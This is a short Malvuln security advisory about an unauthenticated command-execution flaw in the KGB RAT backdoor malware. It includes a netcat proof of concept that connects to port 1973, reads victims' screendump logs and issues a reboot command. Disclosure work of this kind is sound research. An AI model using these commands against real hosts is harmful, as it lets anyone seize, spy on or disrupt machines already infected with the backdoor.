Discovery / credits: Malvuln - malvuln.com (c) 2022 Original source: https://malvuln.com/advisory/36ca28db068b6f6634d633fe61d34a7d.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Small.bu (KGB- RAT server v0.1) Vulnerability: Unauthenticated Remote Command Execution Description: The KGB- RAT malware listens on TCP port 1973. Third-party attackers who can reach infected systems can run commands made available by the backdoor, or run the "view" command to passively read screendump information. The malware writes its screendump info to a file named "log.log". E.g. commands rebt (reboot) stoptb (shutdown the backdoor) view (log.log) Type: PE32 MD5: 36ca28db068b6f6634d633fe61d34a7d Vuln ID: MVID-2022-0479 Disclosure: 02/01/2022 Exploit/PoC: nc64.exe x.x.x.x 1973 Connected to: -KGB- Remote Administration Tool server v0.1 view log.log < LocalData: 31/1/2022 LocalTime: 21.35.37 User: Victim > < Window title: pestudio 8.74 - Malware Initial Assessment - www.winitor.com > < LocalData: 31/1/2022 LocalTime: 21.38.44 User: Victim > < Window title: dump > rebt Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).